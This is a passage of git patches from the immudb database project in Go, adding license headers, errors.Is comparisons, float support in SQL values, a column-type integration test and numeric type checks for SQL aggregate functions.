{ + if errors.Is(err, store.ErrKeyNotFound) { // ignore deleted ones (referenced key may have been deleted) continue } diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 29ebc27c0d..b393c96df0 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -562,6 +562,10 @@ func typedValueToRowValue(tv sql.TypedValue) *schema.SQLValue { { return &schema.SQLValue{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(tv.Value().(time.Time))}} } + case sql.Float64Type: + { + return &schema.SQLValue{Value: &schema.SQLValue_F{F: tv.Value().(float64)}} + } } return nil } diff --git a/pkg/integration/replication/docker.go b/pkg/integration/replication/docker.go index 8dc0851013..b5503af637 100644 --- a/pkg/integration/replication/docker.go +++ b/pkg/integration/replication/docker.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package replication // import ( diff --git a/pkg/integration/replication/docker_test.go b/pkg/integration/replication/docker_test.go index 993d22bf1e..0ea1839be1 100644 --- a/pkg/integration/replication/docker_test.go +++ b/pkg/integration/replication/docker_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package replication // var pool *dockertest.Pool diff --git a/pkg/integration/replication/server.go b/pkg/integration/replication/server.go index 094cc5338e..2654d63a75 100644 --- a/pkg/integration/replication/server.go +++ b/pkg/integration/replication/server.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package replication import ( diff --git a/pkg/integration/replication/suite.go b/pkg/integration/replication/suite.go index 3e3ad3ba2d..333bf2664b 100644 --- a/pkg/integration/replication/suite.go +++ b/pkg/integration/replication/suite.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package replication import ( diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index e5bd7f0f30..e429e16074 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package replication import ( diff --git a/pkg/integration/sql_types_test.go b/pkg/integration/sql_types_test.go new file mode 100644 index 0000000000..4196b98f75 --- /dev/null +++ b/pkg/integration/sql_types_test.go @@ -0,0 +1,99 @@ +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package integration + +import ( + "fmt" + "testing" + "time" + + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/stretchr/testify/require" +) + +func TestVerifyRowForColumnTypes(t *testing.T) { + _, cli, ctx := setupTestServerAndClient(t) + + for i, d := range []struct { + t string + v interface{} + vs string + cv schema.SqlValue + }{ + {"INTEGER", nil, "NULL", &schema.SQLValue_Null{}}, + {"INTEGER", 79, "79", &schema.SQLValue_N{N: 79}}, + {"VARCHAR", nil, "NULL", &schema.SQLValue_Null{}}, + {"VARCHAR", "abcd", "'abcd'", &schema.SQLValue_S{S: "abcd"}}, + {"BOOLEAN", nil, "NULL", &schema.SQLValue_Null{}}, + {"BOOLEAN", true, "TRUE", &schema.SQLValue_B{B: true}}, + {"BLOB", nil, "NULL", &schema.SQLValue_Null{}}, + {"BLOB", []byte{0xab, 0xcd, 0xef}, "x'ABCDEF'", &schema.SQLValue_Bs{Bs: []byte{0xab, 0xcd, 0xef}}}, + {"TIMESTAMP", nil, "NULL", &schema.SQLValue_Null{}}, + {"TIMESTAMP", time.Unix(1234, 0), "CAST(1234 AS TIMESTAMP)", &schema.SQLValue_Ts{Ts: 1234000000}}, + {"FLOAT", nil, "NULL", &schema.SQLValue_Null{}}, + {"FLOAT", 12.3456, "12.3456", &schema.SQLValue_F{F: 12.3456}}, + } { + t.Run(fmt.Sprintf("%d %+v", i, d), func(t *testing.T) { + + tab := fmt.Sprintf("table_%d", i) + + t.Run("create table", func(t *testing.T) { + _, err := cli.SQLExec(ctx, fmt.Sprintf(` + CREATE TABLE %s( + id INTEGER AUTO_INCREMENT, + val %s, + PRIMARY KEY (id) + ) + `, tab, d.t), + nil) + require.NoError(t, err) + }) + + t.Run("insert with value in query string", func(t *testing.T) { + _, err := cli.SQLExec(ctx, fmt.Sprintf(` + INSERT INTO %s(val) + VALUES (%s) + `, tab, d.vs), nil) + require.NoError(t, err) + }) + + t.Run("insert with value in query parameter", func(t *testing.T) { + _, err := cli.SQLExec(ctx, fmt.Sprintf(` + INSERT INTO %s(val) + VALUES (@val) + `, tab), map[string]interface{}{ + "val": d.v, + }) + require.NoError(t, err) + }) + + t.Run("query and verify", func(t *testing.T) { + res, err := cli.SQLQuery(ctx, fmt.Sprintf(` + SELECT id, val FROM %s + `, tab), + nil, false) + require.NoError(t, err) + require.Len(t, res.Rows, 2) + + for _, row := range res.Rows { + err = cli.VerifyRow(ctx, row, tab, []*schema.SQLValue{row.Values[0]}) + require.NoError(t, err) + require.Equal(t, d.cv, row.Values[1].Value) + } + }) + }) + } +} diff --git a/pkg/pgsql/errors/errors_test.go b/pkg/pgsql/errors/errors_test.go index ef3cdebfa3..1b4861f050 100644 --- a/pkg/pgsql/errors/errors_test.go +++ b/pkg/pgsql/errors/errors_test.go @@ -1,8 +1,25 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package errors import ( - "github.com/stretchr/testify/require" "testing" + + "github.com/stretchr/testify/require" ) func TestMapPgError(t *testing.T) { diff --git a/pkg/pgsql/server/fmessages/bind_test.go b/pkg/pgsql/server/fmessages/bind_test.go index 94e7877e56..436ab07357 100644 --- a/pkg/pgsql/server/fmessages/bind_test.go +++ b/pkg/pgsql/server/fmessages/bind_test.go @@ -1,14 +1,31 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package fmessages import ( "fmt" + "io" + "math" + "testing" + pgserror "github.com/codenotary/immudb/pkg/pgsql/errors" h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" "github.com/stretchr/testify/require" - "io" - "math" - "testing" ) func TestParseBindMsg(t *testing.T) { diff --git a/pkg/pgsql/server/fmessages/execute_test.go b/pkg/pgsql/server/fmessages/execute_test.go index 1fc428ae2a..99d3aa2918 100644 --- a/pkg/pgsql/server/fmessages/execute_test.go +++ b/pkg/pgsql/server/fmessages/execute_test.go @@ -1,11 +1,28 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package fmessages import ( "fmt" - h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" - "github.com/stretchr/testify/require" "io" "testing" + + h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" + "github.com/stretchr/testify/require" ) func TestExecutedMsg(t *testing.T) { diff --git a/pkg/pgsql/server/fmessages/fmessages_test/payload.go b/pkg/pgsql/server/fmessages/fmessages_test/payload.go index eea80abb7a..3ba7e875fe 100644 --- a/pkg/pgsql/server/fmessages/fmessages_test/payload.go +++ b/pkg/pgsql/server/fmessages/fmessages_test/payload.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package fmessages_test import ( diff --git a/pkg/pgsql/server/fmessages/parse_test.go b/pkg/pgsql/server/fmessages/parse_test.go index 5d82f8d13e..9a6ba69f36 100644 --- a/pkg/pgsql/server/fmessages/parse_test.go +++ b/pkg/pgsql/server/fmessages/parse_test.go @@ -1,11 +1,28 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package fmessages import ( "fmt" - h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" - "github.com/stretchr/testify/require" "io" "testing" + + h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" + "github.com/stretchr/testify/require" ) func TestParsedMsg(t *testing.T) { diff --git a/pkg/pgsql/server/request_handler_test.go b/pkg/pgsql/server/request_handler_test.go index a6f93381d9..77e94c1854 100644 --- a/pkg/pgsql/server/request_handler_test.go +++ b/pkg/pgsql/server/request_handler_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( diff --git a/pkg/pgsql/server/stmts_handler.go b/pkg/pgsql/server/stmts_handler.go index d671ef0f8e..88a0ddafa8 100644 --- a/pkg/pgsql/server/stmts_handler.go +++ b/pkg/pgsql/server/stmts_handler.go @@ -1,8 +1,25 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( - pserr "github.com/codenotary/immudb/pkg/pgsql/errors" "regexp" + + pserr "github.com/codenotary/immudb/pkg/pgsql/errors" ) var set = regexp.MustCompile(`(?i)set\s+.+`) diff --git a/pkg/pgsql/server/version.go b/pkg/pgsql/server/version.go index be4b169b37..84f46e9bb7 100644 --- a/pkg/pgsql/server/version.go +++ b/pkg/pgsql/server/version.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index bb5a000350..33d357e88d 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -19,6 +19,7 @@ package server import ( "context" "encoding/json" + "errors" "fmt" "time" @@ -844,7 +845,7 @@ func (s *ImmuServer) loadDBOptions(database string, createIfNotExists bool) (*db options := s.defaultDBOptions(database) e, err := s.sysDB.Get(context.Background(), &schema.KeyRequest{Key: optionsKey}) - if err == store.ErrKeyNotFound && createIfNotExists { + if errors.Is(err, store.ErrKeyNotFound) && createIfNotExists { err = s.saveDBOptions(options) if err != nil { return nil, err diff --git a/pkg/server/metrics_funcs.go b/pkg/server/metrics_funcs.go index 2c898601da..3ed6922831 100644 --- a/pkg/server/metrics_funcs.go +++ b/pkg/server/metrics_funcs.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "errors" "fmt" "os" "path/filepath" @@ -101,7 +102,7 @@ func (s *ImmuServer) metricFuncComputeDBEntries() (nbEntriesPerDB map[string]flo dbName := db.GetName() state, err := db.CurrentState() - if err == store.ErrAlreadyClosed { + if errors.Is(err, store.ErrAlreadyClosed) { continue } if err != nil { diff --git a/pkg/server/session.go b/pkg/server/session.go index 04a0e54926..489e3a22ae 100644 --- a/pkg/server/session.go +++ b/pkg/server/session.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( diff --git a/pkg/server/stream_test.go b/pkg/server/stream_test.go index ddfbe82b35..a6f8dba005 100644 --- a/pkg/server/stream_test.go +++ b/pkg/server/stream_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( diff --git a/pkg/server/streams.go b/pkg/server/streams.go index 166fb8e237..3f1d6948b6 100644 --- a/pkg/server/streams.go +++ b/pkg/server/streams.go @@ -101,7 +101,7 @@ func (s *ImmuServer) StreamSet(str schema.ImmuService_StreamSetServer) error { } txhdr, err := db.Set(str.Context(), &schema.SetRequest{KVs: kvs}) - if err == store.ErrorMaxValueLenExceeded { + if err == store.ErrMaxValueLenExceeded { return errors.Wrap(err, stream.ErrMaxValueLenExceeded) } if err != nil { @@ -256,7 +256,7 @@ func (s *ImmuServer) StreamVerifiableSet(str schema.ImmuService_StreamVerifiable ProveSinceTx: proveSinceTx, } verifiableTx, err := db.VerifiableSet(str.Context(), &vSetReq) - if err == store.ErrorMaxValueLenExceeded { + if err == store.ErrMaxValueLenExceeded { return errors.Wrap(err, stream.ErrMaxValueLenExceeded).WithCode(errors.CodDataException) } if err != nil { diff --git a/pkg/server/transaction_test.go b/pkg/server/transaction_test.go index 20fd11ec42..5c4c26667a 100644 --- a/pkg/server/transaction_test.go +++ b/pkg/server/transaction_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( diff --git a/pkg/server/user.go b/pkg/server/user.go index 4dd323ea62..b0d7d321d3 100644 --- a/pkg/server/user.go +++ b/pkg/server/user.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index 3569940a68..d8f7ad8bb2 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -1,13 +1,30 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( "context" "crypto/tls" + "net/http" + "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/webconsole" "github.com/grpc-ecosystem/grpc-gateway/runtime" - "net/http" ) func StartWebServer(addr string, tlsConfig *tls.Config, s schema.ImmuServiceServer, l logger.Logger) (*http.Server, error) { diff --git a/pkg/stdlib/tx.go b/pkg/stdlib/tx.go index 9e9869d8ec..23b06b19ac 100644 --- a/pkg/stdlib/tx.go +++ b/pkg/stdlib/tx.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package stdlib import ( diff --git a/pkg/stream/kvparser.go b/pkg/stream/kvparser.go index b7849faad4..08e7428231 100644 --- a/pkg/stream/kvparser.go +++ b/pkg/stream/kvparser.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package stream import ( diff --git a/pkg/stream/ventryparser_test.go b/pkg/stream/ventryparser_test.go index 9af1d15c87..4c29596c9e 100644 --- a/pkg/stream/ventryparser_test.go +++ b/pkg/stream/ventryparser_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package stream import ( diff --git a/pkg/stream/zsender_test.go b/pkg/stream/zsender_test.go index e2c6c1a148..3c4d0b008c 100644 --- a/pkg/stream/zsender_test.go +++ b/pkg/stream/zsender_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package stream import ( diff --git a/pkg/streamutils/files.go b/pkg/streamutils/files.go index 394bb65aec..e2586698e8 100644 --- a/pkg/streamutils/files.go +++ b/pkg/streamutils/files.go @@ -1,10 +1,27 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package streamutils import ( "bufio" "bytes" - "github.com/codenotary/immudb/pkg/stream" "os" + + "github.com/codenotary/immudb/pkg/stream" ) // GetKeyValuesFromFiles returns an array of stream.KeyValue from full file names paths. Each key value is composed by a key that is the file name and a reader of the content of the file, if exists. diff --git a/pkg/streamutils/files_test.go b/pkg/streamutils/files_test.go index c1da3ad6ac..8a6af61fa8 100644 --- a/pkg/streamutils/files_test.go +++ b/pkg/streamutils/files_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package streamutils import ( diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index be8d480f1b..e5a0c59779 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -117,19 +117,20 @@ func (t *Truncator) Start() error { return nil } -// truncate discards an appendable log upto a given offset -// before time ts. First, the transaction is fetched which lies -// before the specified time period, and then the values are -// discarded upto the specified offset. +// truncate discards an appendable log upto a given offset +// before time ts. First, the transaction is fetched which lies +// before the specified time period, and then the values are +// discarded upto the specified offset. // -// discard point -// | -// | -// v -// --------+-------+--------+---------- -// | | | -// tn-1:vx tn:vx tn+1:vx +// discard point +// | +// | +// v // +// --------+-------+--------+---------- +// +// | | | +// tn-1:vx tn:vx tn+1:vx func (t *Truncator) truncate(ctx context.Context, ts time.Time) error { for _, c := range t.truncators { // Plan determines the transaction header before time period ts. If a From fc40c8bbd807d8970b2d148fd7f1753c67ca7cb9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 11 Mar 2023 16:22:05 -0300 Subject: [PATCH 0339/1062] chore(embedded/sql): minor numeric type adjustments Signed-off-by: Jeronimo Irazabal --- embedded/sql/aggregated_values.go | 25 +++++++++++++++++-------- embedded/sql/aggregated_values_test.go | 14 +++++++------- embedded/sql/engine.go | 1 + embedded/sql/implicit_conversion.go | 1 - embedded/sql/num_operator.go | 9 +-------- embedded/sql/stmt.go | 4 ++++ 6 files changed, 30 insertions(+), 24 deletions(-) diff --git a/embedded/sql/aggregated_values.go b/embedded/sql/aggregated_values.go index b6182f241b..b39da08785 100644 --- a/embedded/sql/aggregated_values.go +++ b/embedded/sql/aggregated_values.go @@ -138,13 +138,16 @@ func (v *SumValue) Compare(val TypedValue) (int, error) { } func (v *SumValue) updateWith(val TypedValue) error { - - if val.Value() == nil { + if val.IsNull() { // Skip NULL values return nil } - if v.val.Value() == nil { + if !IsNumericType(val.Type()) { + return ErrNumericTypeExpected + } + + if v.val.IsNull() { // First non-null value v.val = val return nil @@ -156,6 +159,7 @@ func (v *SumValue) updateWith(val TypedValue) error { } v.val = newVal + return nil } @@ -227,10 +231,12 @@ func (v *MinValue) Compare(val TypedValue) (int, error) { func (v *MinValue) updateWith(val TypedValue) error { if val.IsNull() { + // Skip NULL values return nil } if v.val.IsNull() { + // First non-null value v.val = val return nil } @@ -324,10 +330,12 @@ func (v *MaxValue) Compare(val TypedValue) (int, error) { func (v *MaxValue) updateWith(val TypedValue) error { if val.IsNull() { + // Skip NULL values return nil } if v.val.IsNull() { + // First non-null value v.val = val return nil } @@ -434,16 +442,17 @@ func (v *AVGValue) Compare(val TypedValue) (int, error) { } func (v *AVGValue) updateWith(val TypedValue) error { - if val.Type() != IntegerType && val.Type() != Float64Type { - return ErrNotComparableValues - } - if val.IsNull() { - // Skip NULLs + // Skip NULL values return nil } + if !IsNumericType(val.Type()) { + return ErrNumericTypeExpected + } + if v.s.IsNull() { + // First non-null value v.s = val v.c++ return nil diff --git a/embedded/sql/aggregated_values_test.go b/embedded/sql/aggregated_values_test.go index 68b7a452f0..66054f6128 100644 --- a/embedded/sql/aggregated_values_test.go +++ b/embedded/sql/aggregated_values_test.go @@ -101,7 +101,7 @@ func TestSumValue(t *testing.T) { require.Equal(t, 0, cmp) err = cval.updateWith(&Bool{val: true}) - require.ErrorIs(t, err, ErrInvalidValue) + require.ErrorIs(t, err, ErrNumericTypeExpected) err = cval.updateWith(&Integer{val: 10}) require.NoError(t, err) @@ -167,10 +167,10 @@ func TestMinValue(t *testing.T) { require.Equal(t, 0, cmp) _, err = cval.Compare(&Bool{val: true}) - require.Equal(t, ErrNotComparableValues, err) + require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Bool{val: true}) - require.Equal(t, ErrNotComparableValues, err) + require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Integer{val: 2}) require.NoError(t, err) @@ -236,10 +236,10 @@ func TestMaxValue(t *testing.T) { require.Equal(t, 0, cmp) _, err = cval.Compare(&Bool{val: true}) - require.Equal(t, ErrNotComparableValues, err) + require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Bool{val: true}) - require.Equal(t, ErrNotComparableValues, err) + require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Integer{val: 2}) require.NoError(t, err) @@ -299,10 +299,10 @@ func TestAVGValue(t *testing.T) { require.Equal(t, 0, cmp) _, err = cval.Compare(&Bool{val: true}) - require.Equal(t, ErrNotComparableValues, err) + require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Bool{val: true}) - require.Equal(t, ErrNotComparableValues, err) + require.ErrorIs(t, err, ErrNumericTypeExpected) err = cval.updateWith(&Integer{val: 2}) require.NoError(t, err) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index b9795776a6..f07f91fc34 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -66,6 +66,7 @@ var ErrUnsupportedJoinType = errors.New("unsupported join type") var ErrInvalidCondition = errors.New("invalid condition") var ErrHavingClauseRequiresGroupClause = errors.New("having clause requires group clause") var ErrNotComparableValues = errors.New("values are not comparable") +var ErrNumericTypeExpected = errors.New("numeric type expected") var ErrUnexpected = errors.New("unexpected error") var ErrMaxKeyLengthExceeded = errors.New("max key length exceeded") var ErrMaxLengthExceeded = errors.New("max length exceeded") diff --git a/embedded/sql/implicit_conversion.go b/embedded/sql/implicit_conversion.go index dfebf123d1..922d97e75f 100644 --- a/embedded/sql/implicit_conversion.go +++ b/embedded/sql/implicit_conversion.go @@ -17,7 +17,6 @@ limitations under the License. package sql func applyImplicitConversion(val TypedValue, requiredColumnType SQLValueType) interface{} { - switch requiredColumnType { case Float64Type: switch value := val.Value().(type) { diff --git a/embedded/sql/num_operator.go b/embedded/sql/num_operator.go index f3ac1f251e..6a47ea478b 